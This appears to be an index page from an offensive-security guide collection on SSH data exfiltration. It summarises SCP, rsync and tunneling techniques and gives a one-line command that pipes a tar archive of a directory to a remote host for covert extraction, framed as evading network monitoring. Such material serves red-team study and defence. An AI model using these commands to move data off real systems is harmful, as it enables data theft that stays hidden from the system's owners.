SSH:

Data Exfiltration

SSH and SCP data transfer, tunneling, and timing tactics

2 guides • Created Dec 28, 2025 • Updated Mar 29, 2026

2 guides

Data Exfiltration over SSH and SCP

Mar 16, 2026 • 2 min read

SSH Tunneled Exfiltration

Mar 16, 2026 • 3 min read

SSH provides some of the most reliable and stealthy data exfiltration channels available. SCP and SFTP transfer files over encrypted connections that blend with normal administrative traffic. For large-scale extraction, rsync over SSH gives you incremental transfers with compression, minimizing time on the wire.

SSH tunneling (-L, -R, -D) lets you stage data through intermediate hosts when direct outbound connections are blocked. A SOCKS proxy via ssh -D routes arbitrary traffic through the tunnel, while local and remote port forwards create point-to-point channels for specific services. ProxyJump chains (-J) extend this across multiple hops without exposing data on intermediate hosts.

For covert extraction, consider piping data directly through SSH (tar czf - /path | ssh user@host 'cat > archive.tar.gz') to avoid writing staging files to disk. SSH's encryption ensures the exfiltrated data is unreadable to network monitoring, and the connection metadata looks identical to legitimate administration.